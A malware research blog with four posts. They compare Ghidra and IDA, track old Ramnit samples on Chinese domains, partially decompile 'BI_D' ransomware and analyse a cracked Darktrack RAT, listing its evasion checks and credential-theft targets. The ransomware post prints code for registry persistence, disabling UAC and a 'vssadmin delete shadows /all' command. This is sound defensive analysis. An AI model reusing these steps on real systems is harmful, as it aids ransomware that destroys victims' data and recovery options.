Malware – ZIRCONIC

BI_D Ransomware Redux (Now With 100% More Ghidra)

Posted on March 10, 2019 - March 10, 2019 by rhyolite

I’m still digging into Ghidra, building off of my last post which was meant to be a kind of “IDA to Ghidra Crossover” guide. For more Ghidra practice, I took a piece of ransomware that I analyzed before (using IDA) and worked on it with Ghidra. Whenever it makes sense I’ll do a side-by-side comparison. I’m using Ghidra 9.0 Public and Ida Free 7.0 (both running in a 64-bit VM).

Once I loaded the ransomware, one thing I noticed immediately is that Ghidra didn’t catch that there was a new function right after the entry/start function, but IDA did:

I’m not sure why this is. One thing I suppose you could do is look for function entry sequences (PUSH EBP; MOV EBP, ESP) and then manually create a function when you find one. In Ghidra, you’d just put the cursor in the spot where you want to create the function, and then hit F:

Press F to ~~Pay Respect~~ Create a Function

On the other hand, I remember there was a part of the code that IDA wasn’t as successful with. Ghidra did better on this part, at least recognizing that there’s a function there while IDA got a bit more confused:

As I was looking at the function at 4017B8, besides noticing that this was another function that IDA didn’t recognize, I noticed that Ghidra labels strings in a nice way where the label contains both a reference to the string itself and also the address. IDA will sometimes just give you a very generic name without including the address in the label. You can change the IDA options around strings so that it will not automatically generate a name (and set options like string prefix, etc.) but then you just get something like “asc_401414” which isn’t that meaningful either. I’m not sure how IDA generates the names, and the documentation is a bit vague: “If this option is set, IDA will give meaningful names to newly created string literals.”

Changing not very descriptive parameters like 0x40000000 to something like GENERIC_WRITE is easy in both programs. In IDA, it’s M to bring up the enumerations, and then you pick one from the list. In Ghidra, it’s E to “Set Equate” and then pretty much the same process — look up the value you want to apply there.

I decided to make a copy of the sample and changed one of the lines in the ransom note to be “TEST RANSOMWARE PLEASE IGNORE” so I could try out the “Determine Program Differences” window. Seems that you need to import the other file into the current project so you can compare differences between the two programs. There’s a lot of options here that you can use with this tool:

Since I just quickly edited it in a text editor it screwed something up because it inserted 0x0D0A in certain places, but even so I can still see how the differences get highlighted, as well as how you can quickly navigate between differences by right-clicking and selecting options from the pop-up menu:

Like in IDA, you can right click on a value in the program listing and change how it’s displayed:

Also, it’s nice to see that Unicode strings are picked up automatically in Ghidra, not just ASCII strings. It’s not that big of a deal to tell IDA to treat something as a Unicode string, but having Ghidra automatically do this is one of those little things that I appreciate because it’s something that I find tedious (maybe there’s a way to make this happen automatically in IDA that I just never learned).

A Mix of ASCII and Unicode Strings in Ghidra’s Program Listing

Finally, I like how Ghidra identifies thunk functions:

Going through a sample that I previously analyzed with IDA helped me get more accustomed to Ghidra because I have some idea of how it the final product should look already. The more I use Ghidra the more I like it. I’m still going to keep IDA around — for instance, I tried loading up a really old DOS game executable, and while Ghidra didn’t come up with anything meaningful in the program listing using automated analysis, IDA Free 7.0 at least came up with some results. Time permitting, I’ll try to look at samples in both programs for a while just to see how things differ.

Ancient Malware Still Circulating on Chinese Sites

Posted on September 15, 2018 - September 15, 2018 by rhyolite

I’ve been looking at recently registered domains hoping to find new malicious content. Besides a couple of tech support scam / phishing sites, I found some weird stuff being hosted on a bunch of new Chinese-registered domains. I found several sites hosting a page with the following appearance:

After grabbing a bunch of these pages, I searched for various interesting strings and noticed that a bunch of these sites contained the words “svchost.exe” in the hosted page. Inside the pages served at these domains was the following code:

The beginning of a PE file is pretty obvious in this snippet. Taking what’s there and dumping it into a file resulted in a very old packed Ramnit sample. I found this sample being hosted in the same way at a bunch of other sites, as well as what might be a Zeus sample:

Ramnit fd6c69c345f1e32924f0a5bb7393e191b393a78d58e2c6413b03ced7482f2320 7team[.]net 860574[.]net 87154659[.]com aerlo[.]net ahups[.]net ai7kc[.]com aiaru[.]net anemp[.]net aosad[.]net apump[.]net arkhk[.]net arsenalcn[.]net asivy[.]net atwtw[.]net bayac[.]net bbwcf[.]net benkan[.]net betzc[.]net bjhouse2008[.]com bleol[.]com bubeng[.]net buchong[.]net bucun[.]net caiyo[.]net canrun[.]net caujuan[.]net 0435rcw[.]com 057416[.]com 7team[.]net 860574[.]net 87154659[.]com


Zeus(?)	2607060535475325658da314960748b9927b93b944f66ba53340e99dcaa00cc5

beiyongde[.]com

These two were packed (just with UPX), and the unpacked samples have the following hashes (uploaded to VT):
876c5cea11bbbcbe4089a3d0e8f95244cf855d3668e9bf06a97d8e20c1ff237c
85e57ff057c7969e0e45e046b5000dfcd4fef3afd8f3c803034af479ef05a43e

Originally I thought that I could find newly registered domains being used solely for hosting malware (open directories), but this is sort of different. Possible explanations include:
– Someone is registering these domains and then hosting the malware themselves
– These domains are being registered and then are used to host legitimate content, but someone compromises the sites to host the malicious file (see this comment on VirusTotal for someone else putting this idea forward). MalwareBytes has an article about something very similar, and there’s a FireEye report on the this.

Looking up some of the domains didn’t reveal much — two are newly registered over at Alibaba, one is registered to someone purportedly from Taiwan, another to someone in mainland China. Pivoting off of whatever information I could find, it appears that the registrant of 057416.com has also been associated with at least 1,000 other domains (all sort of “spammy” looking domain names) and the person behind beiyongde.com has three other domains associated with their name. None of those other domains are currently hosting anything.

The unpacked versions of these files are even older than I expected (2008 timeframe). These samples all call home to a known Ramnit C2, fget-career[.]com. Both samples also contain what looks like an IP address as a version number, 106.42.73[.]61. The domain is pretty impressive in the sense that it’s very old and still in use — taking a look at it in VT or in Hybrid Analysis shows all kinds of samples communicating with it very recently. A couple of other people have taken a look at these samples and found the same IP address as a version number. I’m not currently seeing anything resolving to that IP, nor am I finding much else in terms of useful info on that possible IP address.

I’m going to move on from this stuff. As interesting as it is to see that these relatively ancient samples are still going, I’d still like to try to find something new, so I don’t think I should spend more time here.

BI_D Ransomware

Posted on July 7, 2018 - July 6, 2018 by rhyolite

I recently came back from REcon 2018 (Montreal) where I took a fantastic class called Binary Literacy taught by Rolf Rolles. This class was one of the best I’ve ever taken (in any subject), and helped answer many questions I had been wondering about for years when looking at disassembled code from various samples. I left this class with some new skills around manually decompiling disassembled code back into something resembling the original code, and I highly recommend taking the course if you have the opportunity. Rolf is a great instructor, and you can tell from the quality of the material and the in-class presentations that he’s put a tremendous amount of effort into refining his course.

Coming back from the conference, I wanted to put what I just learned into use as soon as I could on a “real” sample. I found a copy of an unnamed ransomware that I’m calling BI_D because of the file extension that it appends to encrypted files (maybe someone out there has named it since I’ve looked at it). I thought this would be a decent example to start with because it’s relatively small (only 11,776 bytes) and seemed free from obfuscation and didn’t appear to be heavily optimized during compilation. While I manually decompiled pretty much the entire disassembled code (with the exception of a base64 encoding function and another function that I eventually passed over because I just ran out of steam) I’m not going to share this entire decompilation here. I have some concerns about sharing what could pass as a full ransomware source code, even if this first project of mine is likely a bit of a mess. I’m sharing certain areas that I found interesting, as well as the Ida file. I’d also point out that Rolf kindly looked at my first draft decompilation and offered valuable (and extensive) feedback — however, any errors or issues in what I’m presenting are solely my own.

Before getting into details of the decompilation I’d like to cover some observations and experiences. First, I’m using a 64-bit version of Ida (Ida Free 7.0) for this, even though the executable is 32-bit (didn’t occur to me until Rolf pointed this out). I do have an old 32-bit version (Ida Free 5.0) but unfortunately it didn’t occur to me before I was well underway in the disassembly. Next time I’ll do this in a Windows VM and run the older 32-bit version to match my sample. I tried to fix all the function prototypes in the decompilation and disassembly as best I could, but I think that there are a few that seem busted up possibly due to the 64 vs. 32 bit issue (please let me know if you know why this is).

A big next step that I need to take is to really get back into C — I suspect that the majority of issues I had while doing the decompilation stemmed from having not done anything substantive in C for almost 20 years. For instance, I think there are probably consistent issues with pointers in what I’m decompiled. It’s probably pretty hard to translate from one language to another if you forgot the other language, right? Following the class, I’ve gotten better about enumerations, etc. in Ida. Setting up the enums, structs, function prototypes, etc. in the disassembly really helps make the disassembly more readable and understandable (not to mention the decompilation). Ida generally does a good job of finding structs, but some things I’ve noticed about structs include:
– I’ve seen places where there’s a local variable that’s a quadword — these turned out to be structs, so anywhere I see quadwords (or anything other than a 1, 2 or 4 byte parameter) I’m going to look in what functions use this parameter to see if there should be a struct or array there (assuming Ida didn’t already do this for me).
– It’s probably also obvious that I didn’t spend much time trying to figure out types, which is something that needs doing if I’m going to really have a true decompilation of what I’m looking at.

Summing up, I’ve come very far from where I was last time I posted here (or even a month or two ago), but I think a good next step would be to try doing one of these projects again with a new file. At a certain point it seemed like I should just start over with this one, but I just couldn’t find the motivation to throw everything out and start over from the beginning. I’d rather present what I have, warts and all, and then present another project similar to this one that’s (hopefully) much improved on the issues I identified. Regardless of any issues in the final results, this whole project was a tremendous learning experience for me.

Now I’m going to get into various parts of this ransomware to discuss areas I found interesting (along with the associated decompiled sections). Download my Ida file here. Note that you’ll have to change the extension back to .i64 as WordPress didn’t like me uploading that kind of file (or certain other formats).

The program begins with a small function that calls a main functionality subroutine beginning at 4018A0 that I called RANSOM__ExecuteAndTakeover because this is where it executes its main functionality and also establishes itself in the victim’s machine. This large function achieves persistence via registry, generates cryptographic keys for the ransomware, complicates recovery of affected files by deleting shadow copies, kills most non-system processes, and also executes the ransomware payload. My decompilation of this section is as follows (unfortunately the formatting on the themes I’ve tried isn’t great for code, so I’ll include some .txt files you can download for easier reading):

Download code snippet 1

int * __cdecl RANSOM__ExecuteAndTakeover(){
/* I’ve inserted comments rather than discussing this in the main body of the post, as I thought it would be easier to follow this way */

int &Msg, &phkResult, NumberOfBytesWritten, lpString2, &ThreadId, &phKey, &phProv, hProv, &pdwDataLen, lpMultibyteStr;

char &cbData[8]; /* not 100% sure if this is what this is */

typedef struct tagWNDCLASSEX {
UINT cbSize;
UINT style;
WNDPROC lpfnWndProc;
int cbClsExtra;
int cbWndExtra;
HINSTANCE hInstance;
HICON hIcon;
HCURSOR hCursor;
HBRUSH hbrBackground;
LPCTSTR lpszMenuName;
LPCTSTR lpszClassName;
HICON hIconSm;
} var_30;

ncmdshow = dword_404b24 = 0;
lpString2 = lpFilename = GlobalAlloc(GMEM_ZEROINIT, 0x8000); /* allocate memory to receive the path to this executable file */
GetModuleFileNameA(0, lpFilename, 0x8000); /* Puts the full path of this file into the newly allocated memory */
if (lstrcmpiA(“C:\Windows\notepad+++.exe”, lpString2) != 0){
/* if the current path does not match this hardcoded path, then copy the file to the c:\windows\notepad+++.exe location, set it to autorun,
* and also set the actual notepad.exe file to open the ransom note that appears to be dropped in the root directory */

RegOpenKeyExA(HKEY_LOCAL_MACHINE, “SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\”, 0, KEY_ALL_ACCESS_and_WOW64_32KEY, &phkResult);
cbData = lstrlenA(“c:\\Windows\\notepad.exe \”c:\\How To Restore Files.txt\””);
RegSetValueExA(phkResult, “decrypt”, 0, REG_SZ, “c:\\Windows\\notepad.exe \”c:\\How To Restore Files.txt\””, cbData);
cbData = lstrlenA(“c:\\Windows\\notepad+++.exe”);
RegSetValueExA(phkResult, “notepad++”, 0, REG_SZ, “c:\\Windows\\notepad+++.exe”, cbData);
RegCloseKey(phkResult);
CopyFileA(lpString2, “c:\\Windows\\notepad+++.exe”, 0);
nCmdShow = 5;
}

dword_404b24 = 0; /* we already initialized this to 0 before, not sure why we’re doing this again */
CryptAcquireContextA(&phProv, 0, 0, PROV_RSA_FULL, CRYPT_DELETEKEYSET); /* deletes the current context */
if (CryptAcquireContextA(&phProv, 0, 0, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT) == 0)
CryptAcquireContextA(&phProv, 0, “Microsoft Enhanced Cryptographic Provider v1.0”, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT);
/* if we can’t get the default context successfully, then use the hardcoded one above */

CryptImportKey(phProv, pbData, 0x114, 0 0, &phKey); /* length is 276 bytes / 2208 bits */
CryptAcquireContextA(&phProv, 0, 0, PROV_RSA_AES, CRYPT_VERIFYCONTEXT); /* AES */
CryptGenKey(hProv, CALG_AES_256, CRYPT_EXPORTABLE, phKey); /* AES 256 */
pdwDataLen = 0x2c;
CryptExportKey(phKey, 0, CRYPT_NEWKEYSET, 0, lpString2, &pdwDatalen); /* new key set */
pdwDataLen = 0x2c; /* seems redundant */
CryptEncrypt(phKey, 0, CRYPT_EXPORTABLE, 0, lpString2, &pdwDataLen, CRYPT_SF);
/* looks like we’re hashing/encrypting the data that was in lpString2, which was the original file path,
* and then this becomes the key as we see later. But does the key blob replace what’s already there? */
CryptDestroyKey(phKey);
CryptAcquireContextA(&phProv, 0, 0, PROV_RSA_FULL, CRYPT_DELETEKEYSET); /* delete the key set */
phProv = CreateFileA(“c:\\Windows\DECODE.KEY”, GENERIC_READ_WRITE, 0, 0, OPEN_ALWAYS, 0, 0); /* open this file, creates it if it doesn’t exist */
SetFilePointer(phProv, 0, 0, FILE_END) /* end of file position */
WriteFile(phProv, lpString2, 0x100, &NumberofBytesWritten, 0); /* write the key into that DECODE.KEY file */
CloseHandle(phProv);
/****************************************************************
* Basically at this point, we created a key with RSA/AES256 *
* combo, used the original path data as part of this also (I *
* think) to generate the key, then wrote it out to this file *
* DECODE.KEY. *
****************************************************************/
lpMultiByteStr = lpString2+0x400;
GENERIC__Base64(lpString2, lpString2+0x400, 0x100); /* this looks like a generic base64 encoding subroutine using a standard base64 index for files */
RtlMoveMemory(0x40407C, lpMultiByteStr+0x10, 0xa); /* that hex address point to an array containing the ransom note */
MultiByteToWideChar(0x3, 0, lpMultiByteStr, -1, WideCharStr, 0xa); /* convert ransomnote to wide */
RegOpenKeyExA(HKEY_LOCAL_MACHINE, “SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\DateTime\\”, 0, KEY_ALL_ACCESS_and_WOW64_32KEY, &phkResult);
cbData = 0xa;
if(RegQueryValueExA(phkResult, “notepad++”, 0, 0, RansomNoteArray+0x22, &lpcbData) != 0)
if(cbData != 0xa)
RegSetValueExA(phkResult, “notepad++”, 0, REG_SZ, MultiByteStr, 0xa);
*MultiByteStr[0xa] = 0;
RegSetValueExA(hKey lpMultiByteStr, 0, REG_BINARY, lpString2, 0x100);
RegCloseKey(phkResult);
RtlZeroMemory(lpString2, 0x8000); /* blow away all this memory */
RegOpenKeyExA(HKEY_LOCAL_MACHINE, “SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\”, 0, KEY_ALL_ACCESS_and_WOW64_32KEY, *phkResult);
RegSetValueExA(hKey, “PromptOnSecureDesktop”, 0, REG_DWORD, lpString2, 0x4);
/* from MSDN: Disabling this policy disables secure desktop prompting. All credential or consent prompting will occur on the interactive user’s desktop. */
RegSetValueExA(hKey, “EnableLUA”, 0, REG_DWORD, lpString2, 0x4);
/* from MSDN: Disabling this policy disables the “administrator in Admin Approval Mode” user type. */
RegSetValueExA(hKey, “ConsentPromptBehaviorAdmin”, 0, REG_DWORD, lpString2, 0x4);
/* from MSDN: This option allows the Consent Admin to perform an operation that requires elevation without consent or credentials. */
RegCloseKey(hKey);
GetEnvironmentVariableA(“Comspec”, lpString2, 0x5dc); /* get the command line interpreter */
ShellExecuteA(0, 0, lpString2, “/c vssadmin delete shadows /all”, 0, 0); /* delete shadow copies, presumably to complicate recovery of files on the system */
GlobalFree(lpString2);
SetErrorMode(0x1);
CreateThread(0, 0, RANSOM__ProcKiller, 0, 0, &ThreadId); /* This subroutine iterates through running processes and kills non-whitelisted processes */
InitCommonControls(); /* another deprecated function according to MSDN */
var_30.cbSize = 0x30;
var_30.style = CS_VREDRAW_AND_HREDRAW;
var_30.lpfnWndProc = RANSOM__CallMainFunctionality;
var_30.CbClsExtra = 0;
var_30.cbWndExtra = 0x1e;
var_30.hInstance = hInstance;
var_30.hbrBackground = COLOR_BTNSHADOW;
var_30.lpszClassName = “notepad++”;
RegisterClassExA(*var_30);
CreateDialogParamA(hInstance, 0x65, 0, RANSOM__CallMainFunctionality, 0);
ShowWindow(hWnd, nCmdShow);
UpdateWindow(hWnd);
while ( GetMessageA(&lpMsg, 0, 0, 0) != 0 ){ /* so keep looping unless we get the WM_QUIT message */
TranslateMessage(&Msg);
DispatchMessageA(&Msg);
}
CryptDestroyKey(phKey);
return(Msg.wParam);
}

One of the subsequent functions that I found interesting was one that begins at 401676 that I named RANSOM__FindDrivesEnumResources. I imagine that this isn’t a terribly exciting function but I thought it was interesting to dig into how calls to GetLogicalDrives() actually works and how the ransomware appears to use the returned bitmask from this function to determine how many threads to create to encrypt files found there.

Download code snippet 2

void __cdecl RANSOM__FindDrivesEnumResources(){

int &ThreadId;

/* used in my interpretation of the recreated code, perhaps invalid: */
int i, drivebitmask;

drivebitmask = GetLogicalDrives();
/* If the function succeeds, the return value is a bitmask representing the currently available disk drives. *
* Bit position 0 (the least-significant bit) is drive A, bit position 1 is drive B, bit position 2 is drive C, and so on. *
* On my test system, I have C and D so I should get back 000…00001100 in eax */ */

for (i = 25, i >= 0, i–){

if(((0x1 << i) & drivebitmask) != 0){
/* I suppose you could insert the call to GetLogicalDrives() in the loop, but that’s not how the disassemby looked to me */
hThread = CreateThread(0, 0, RANSOM__PassWildcardsToEncLogicalDriveFiles, i, 0, &ThreadId);

SetThreadPriority(hThread, THREAD_PRIORITY_TIME_CRITICAL);

}

}

/****************************************************************************************************
* this comment refers to the disassembly, but should also be useful here to understand this func:
* as noted earlier, returns 000…00001100 to eax and then we have 0x19 in ecx or 00011001
* ebx = 1
* cl = 0x19 = 00011001
* ebx << cl = ebx << 1 = 1 << 19 = essentially shifted way out to be almost irrelevant
* ebx & eax = 000….0 & 00001100 = 00000000
* dec ecx = 0x19– = 00011000 and loop back to top
*
* we keep doing this over and over until we start to get to the bottom of ECX… for instance:
* cl = 2 = 00000011
* ebx = 1
* ebx << cl = 00000001 << 2 = 00000100
* ebx & eax = 00000100 & 00001100 = 00000100 = not zero because now we hit on the C:\ drive bit
* so NOW we execute the createthread
*
* Since originally ECX is set to 0x19 (25), seems like what we’e doing here is iterating through
* all possible drive letters, since GetLogicalDrives returns a bitmask where each bit
* represents some drive…
*
****************************************************************************************************/

hThread = CreateThread(0, 0, RANSOM__EnumNetworkDrivesNewEnum, 0, 0, &ThreadId);
SetThreadPriority(hThread, THREAD_PRIORITY_TIME_CRITICAL);

}

Summarizing the overall functionality of this ransomware based on the overall disassembly and decompilation, it can be seen that BI_D:
– Drops a ransom note called “How To Restore Files.txt” containing instructions asking the victim to contact big_decryptor@aol.com for details on how to pay for file decryption (and requests that the DECODE.KEY file be sent to the ransomware controller)
– Creates multiple threads to encrypt files on connected and networked drives using the RSA/AES256 combination shown above, though is careful not to encrypt already encrypted files (with a .BI_D extension), the ransom note, or those in the Windows directory
– Achieves persistance via the Registry and also takes various steps to both gain greater access to the victim’s machine as well as complicate recovery of encrypted files
– Kills all processes on the victim’s machine besides the ransomware process itself and a small process whitelist shown in the screenshot below:

File details:
MD5: 3cf87e475a67977ab96dff95230f8146
SHA1:1fb3dbd6e4ee27bddfcd1935065339e04dae435c
SHA256: 307bca9a514b1e5038926a0bafc7bc08d131dd6fe3998f31cb1e614e16effe32
Size: 11776 bytes

Controller/developer email address: big_decryptor@aol.com
Encrypted file extension: .BI_D
Installs itself to: “c:\Windows\notepad+++.exe”
Drops a ransom note to: “c:\How To Restore Files.txt”
Ransom note template:

Darktrack

Posted on October 8, 2017 - October 14, 2017 by rhyolite

I was recently looking through a certain community of 1337 hax0rs and found someone trying to promote some malware that they allegedly cracked [Note: as I researched this, I later learned that the actual developer never charged for this RAT, so just the fact that the person who linked to this sample claimed to have cracked it shows that something’s up]. One of these is called Darktrack RAT, and the other is Reaper ransomware.

Jump to:
Static and Dynamic Analysis
Disassembly
Debugging
Conclusion
Hashes and IoCs

Initial Look

This is apparently a Darktrack 5.0 builder “with all plugs”. We’ll see about that, I guess. As I researched this, it looks like Darktrack 5 (also called Darktrack Colorful) hasn’t been released yet.

Running the builder gives you a pop up / license agreement window, and also drops two files into the %TEMP% folder:

2lWVy5LvsEb3quWh6S.exe
MBvI0Nh1JQcmVthRdCAy6TfJ2FA.exe

MBvI0Nh1JQcmVthRdCAy6TfJ2FA.exe is the panel executable that is presenting me with the EULA. Reading through the EULA doesn’t provide much interesting info. Someone (or some group) called Luckyduck appears to be responsible for Darktrack. One thing that’s interesting to me is that the English in the EULA starts out good, then gets noticeably worse as it goes along. Perhaps the beginning was just copied and pasted from somewhere else. The following snippet suggests that the product’s name is actually Darktrack Alien and the purported developer is this Luckyduck:

3. PRIVATE VERSIONS AND SOURCE CODE

3.1 THERE IS NO PRIVATE OR CUSTOM VERSION OF DARKTRACK ALIEN, IF YOU BOUGHT ANY KIND OF
DARKTRACK ALIEN VERSION THEN YOU BEEN SCAMMED.

3.2 THE SOURCE CODE ARE FULLY CLOSE, ONLY THE CODER OF DARKTRACK ALIEN (LUCKYDUCK)
GOT
THEM, DONT TRY TO FIND THEM NEITHER YOU WILL NEVER FIND THEM SO DONT LOOSE YOUR TIME.

The panel is pretty nice looking, actually:

There’s a help section, which tries to connect to the “Darktrack Tube” found at https://www.youtube[.]com/embed/0hByqnu6-Z4. This’ll be good to dig through later. There’s also a nice “About Me” section:

There are a bunch of names to look into someday, plus also what appears to be the website for Darktrack at www.darktrack[.]net. I also see that this appears to be Darktrack Alien 4.1, not the 5.0 version as promised by the original poster. Bug reporting is handled at https://forum.darktrack[.]net/.

Besides this stuff, the rest is sort of typical RAT panel features — client management panel, client builder/client settings, IP address map / victim geography, etc. The only problem is that one of the most important parts doesn’t appear to work — the client builder. If you can’t build your own clients, you can’t really do anything useful with this thing. It looks like this package came with a pre-built client from whoever cracked this (called “stub.exe”) but this won’t help anyone trying to create their own clients. Going back to the forum where I found this malware, the majority of ratings the post got indicated that the malware wasn’t functioning. I’m guessing that the only people who rated it as working were the original poster and his pals (or multis). I’m going to try to work with the stub.exe file anyway and see if I can get some more info about Darktrack from it.

Static and Dynamic Analysis

Taking a look at the stub.exe program, it’s a fairly big file (around 650k). It looks like it’s Delphi (ewww). Some people I know definitely are not fans of looking at entropy, but I like looking at it and it helps me, so bear with me if you disagree. Here’s an entropy plot of the stub.exe program before execution:

Looking at this, it seems fairly normal until you get to around 425k into the file, and then it looks like we have something there. Running the program, and then dumping the process with Volatility gives us something different, with the following entropy plot:

Whatever there was at the 425k area, it’s in use now. Looking in memory of the running stub.exe program, there’s some interesting stuff already:

xaf5c78 (40): C:\DOCUME~1\Owner\LOCALS~1\Temp\Klog.dat 0xaf5cf8 (40): C:\DOCUME~1\Owner\LOCALS~1\Temp\Klog.dat 0xafcfa8 (47): [String Search]-(9/27/2017 / 8:13:43 PM) 4 0xafcfe8 (46): [String earch]-(9/27/2017 / 8:13:43 PM) 0xafd028 (46): [String Search]-(9/27/2017 / 8:13:43 PM) 0xb042d8 (91): Num 4AltAltAltAltfNum 2Num 2Num 2Num 4ShiftShiftShiftShiftShiftShiftShiftShiftShiftShift4

Further on, we see what could be the config info of the client:

080IAM010010DAR8K89TR3SDTACK 4.1 Alien+ Local User 123456 127.0.0.1 notepad.exe SYSTEMROOT WINDIR APPDATA

The item at the top is the mutex used by this malware, I presume (to be confirmed) to ensure that only a single instance is running at a time on the victim’s machine. You can also see the default password and host (123456 and 127.0.0.1) listed there as well. We’ll have to see what the rest is for. Perhaps notepad.exe is injected or something.

Looking through the rest of the stuff revealed in memory suggests the following capabilities for Darktrack, though this needs to be confirmed by deeper digging:

Keylogging (keylogger file will be stored in the victim’s %TEMP% folder in a plaintext file called KLog.dat)
Possible Anti-Sandbox / Anti-VM capabilities (against Virtual Box and Sandboxie)
Anti-Debugging (reference to KERNEL32.IsDebuggerPresent and even a reference to SoftIce?)
Credential stealing:
Outlook/Exchange
Firefox
Skype
YandexBrowser
Comodo Dragon
Chrome
Possibly some Anti-AV capability
Possible harassment feature (open and close optical drive)
Supports Windows versions from Windows 2000 through Windows Server 2016 Technical Preview

There was another interesting string found in memory:

C:\Users\gurkanarkas\Desktop\Dtback\AlienEdition\Server\SuperObject.pas

This might provide another username to follow up on.

Disassembly

Let’s start looking at this thing in the disassembler. Opening this in Ida 5.0 (as I am still waiting for all that money from the Nigerian Oil Minister to hit my account, I cannot yet afford a paid copy of Ida) reveals some further detail behind some of the information we found by looking at it statically and dynamically. My earlier pieces on this site included many, many screenshots from Ida (and often from Olly) but I’m not going to kill you with 47 pictures of disassembly. However, I’ll try to mention a few things I found while poking around in the guts of the unpacked stub.exe.

Subroutine 425654 appears to be where libraries and functions are loaded. Take a look at the following:

KERNEL32.LoadLibrary and KERNEL32.GetProcAddress are basically ubiquitous. LoadLibrary takes a single parameter (the name of the library) and GetProcAddress takes two parameters, the handle to the module (library) and the name of the process to load. The sequence of events looks like this to me (at this time):

Push a proc name, then a library name. The stack should look like this, from last to first: library name, proc name
Call LoadLibrary (the return should be the handle to the library, which should go into EAX). At this point, the stack should just have the proc name on it.
PUSH EAX to put the handle to the library on the stack, so now we should have: Handle to library, proc name
Call GetProcAddress which should then return the address of the export
Then we see that the address of that proc is being moved into a structure, e.g.: MOV [ESI+20H], EAX, that is, the returned handle of the proc is being moved into the memory address of wherever ESI+20H is in that instance of the program
Iterates for many libraries and procs

I’m going to call sub 407CCC “MaybeLoadLibrary” and sub 407CE4 “MaybeGetProcAddress” [note that 407CCC was later revealed to be a call to KERNEL32.GetModuleHandle]. I’m also going to create a structure in Ida and then start labelling all of these references to proc addresses so it’s easier to read than [ESI+0CH].

449E60 looks like the sub that actually does the stored login harvesting from the various browsers supported by this RAT. Sub 460740 is a giant control subroutine containing a very large and ugly switch statement with 154 cases:

Within this switch statement, there are several cases that will pass the locations of stored credentials for the supported browsers and then call sub 449E60 to acquire them. The cases are:

0x54h Yandex Browser
0x55h Comodo Dragon
0x88h Google Chrome

The following parts of the switch statement refer to targeting other platforms, though with different underlying mechanisms than the areas above:

0x60h Skype
0x89h Firefox

An additional interesting case in this switch statement is 0x72h, System inventory (gathers some info about processor architecture). Stub.exe determines whether or not the processor is 32- or 64-bit using code beginning at location 4605C3. The subroutine called in that area, 45E340, makes a call to KERNEL32.IsWow64Process and determines the architecture based on the returned value.

I also found an evasion subroutine at 425F34. This sub starts by going to the `Software\Microsoft\Windows\CurrentVersion` Registry key. It checks the Product ID for the string `76487-337-8429955-22614` which would detect Anubis Sandbox. Other evasion subroutines I found are as follows, with their associated product:

Sub 425E7C checks Product ID for string `76487-644-3177037-23510` for CWSandbox
Sub 425DC4 checks Product ID for string `55274-640-2673064-23950` for Joe’s Sandbox
Sub 425DA0 calls KERNEL32.GetModuleHandle to check for `dbghelp.dll` for Threat Expert
Sub 425D7C calls KERNEL32.GetModuleHandle to check for `SbieDll.dll` for SandBoxie
Sub 425B78 VMXh magic value trick to detect VMWare
Sub 425C20 checks for `VBoxService.exe` as a running process to detect VirtualBox
Sub 4260C4 checks for debuggers via a call to KERNEL32.IsDebuggerPresent
Sub 42611C checks for debuggers by determining if the debug flag is set to 1 in the PEB at offset 0x2h
Sub 4261E8 checks for software breakpoints (0xCC, Int 3)
Sub 426174 not 100% sure — checks for `DAEMON` and also does the PEB antidebugger check again
Sub 42624C checks for Syser Debugger via a call to KERNEL32.CreateFileA to check for the files `Syser`, `SyserDbgMsg` and `SyserBoot`
Sub 4262AC checks for SoftICE Debugger via a call to KERNEL32.CreateFileA to check for the file `SICE`
Sub 4262E8 checks for SoftICE Debugger via a call to KERNEL32.CreateFileA to check for the file `NTICE`
Sub 426158 is the master anti-debugging sub for two user mode methods above, which calls 4260C4 and 42611C
Sub 4265AC is the master evasion sub, as it contains calls to the evasion subs listed above

One strange thing about this sample is that despite all of these evasion methods above, some of the functionality of the malware still appears to execute even though I’m not running it in a hardened VM. I’d expect none of the functionality to work given that this malware is detecting my VM.

Subroutine 45F938 looks like the overall system inventory sub. I was able to identify the following subroutines within it, and their apparent functions:

Sub 45F4A4 Identify the Windows Version
Sub 45F0F4 Identify user type (administrator / regular user)
Sub 405344 Appears to be called to store system inventory information once gathered
Sub 45F8C0 Has calls to USER32.GetForegroundWindow and USER32.GetWindowText the result of which is stored
Sub 45D74C is used to identify the presence of services on the victim machine by the port that is in use. The specific services that the malware looks for are: FTP (ports 20/21), SSH (22), Telnet (23), SMTP (25), Whois (43), DNS (53), DHCP (68), HTTP (80/8080), POP3 (110), NetBIOS (137/138/139), IMAP (143/220), SNMP (161), IRC (194 [usually this is 6667? Looks like they are just using the “standard” ports]), SSL (443), SMB (445), Lotus Notes (1352), MS SQL Server (1433), Oracle (1521), NFS (2049), MySQL (3306), ICQ (4000), and VNC (5800/5900). Any other open ports are listed as “Unknow [sic] Service Port.”
Sub 45DED4 uses subroutine 45D74C above to identify open and closed ports and services

Sub 4423BC contains many function calls related to setting up for and taking what is probably a screenshot of the victim’s desktop. Sub 442020 looks like it could be the network communications startup subroutine. Besides seeing that there appears to be a user-agent construction section within this subroutine, there are also a bunch of unlabeled calls in there. Two of these look very much like they could be a call to WS2_32.WSAStartup and WS2_32.Socket based on the parameters being passed. I can’t discern any of the other function calls one would normally look for (things like listen, send, recv, getaddrinfo, etc.) based on the rest of the disassembly but I’m going to label 442020 as possibly the network communications startup subroutine. Sub 43BD50 appears to be a performance monitoring subroutine, based on information from a very old article located at (http://bcbjournal.org/articles/vol3/9906/Writing_a_Performance_Monitor.htm?PHPSESSID=058081f577534833ddc780e5995cdbae).

Going back to the C2 switch statement referred to earlier, located at 460740, there is what I refer to as a harassment section (sometimes referred to as “fun stuff” by the malware developers). This subroutine falls under case 0x61 in the main C2 subroutine and is also a switch statement with 15 cases. The cases and associated functionality are as follows:

0x1 Unknown
0x2 Disable shortcuts and the desktop
0x3 Enable shortcuts and the desktop
0x4 Hide Program Manager
0x5 Show Program Manager
0x6 Turn the monitor off
0x7 Turn the monitor on
0x8 Unknown
0x9 Force Shutdown/Poweroff
0xA Force Logoff
0xB Force Reboot
0xC Hide Taskbar
0xD Show Taskbar
0xE Open Optical Drive
0xF Close Optical Drive

